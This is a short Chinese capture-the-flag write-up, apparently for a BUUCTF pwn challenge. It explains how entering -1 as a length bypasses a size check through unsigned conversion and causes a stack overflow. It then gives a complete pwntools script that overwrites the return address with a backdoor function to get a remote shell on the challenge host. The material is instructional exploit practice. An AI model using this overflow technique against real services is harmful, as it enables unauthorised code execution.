0x1 checksec

只有NX保护
0x2 IDA
main

read()函数会存在溢出
跟进buf看偏移

只要nbytes>0x10即可溢出
但是前面if循环限制了nbytes的大小,所以这个方法不行
继续看,nbytes--------->unsigned int无符号整型
遇到-1会变成unsigned int的最大值,栈溢出
有后门函数

再进行交互,即可编写脚本
0x3 EXP
from pwn import *
r=remote("node4.buuoj.cn",26042)
backdoor_addr=0x400726
r.recvuntil('[+]Please input the length of your name:')
r.sendline('-1')
payload='a'*0x10+'b'*0x8
payload+=p64(backdoor_addr)
r.sendline(payload)
r.interactive()
本文探讨了一种栈溢出漏洞,通过分析read()函数的潜在溢出条件,发现当输入长度为-1时,由于类型转换会导致溢出。作者详细解释了如何利用这个漏洞,通过发送特定payload触发后门函数,并提供了利用脚本进行远程连接和互动。
790

被折叠的 条评论
为什么被折叠?



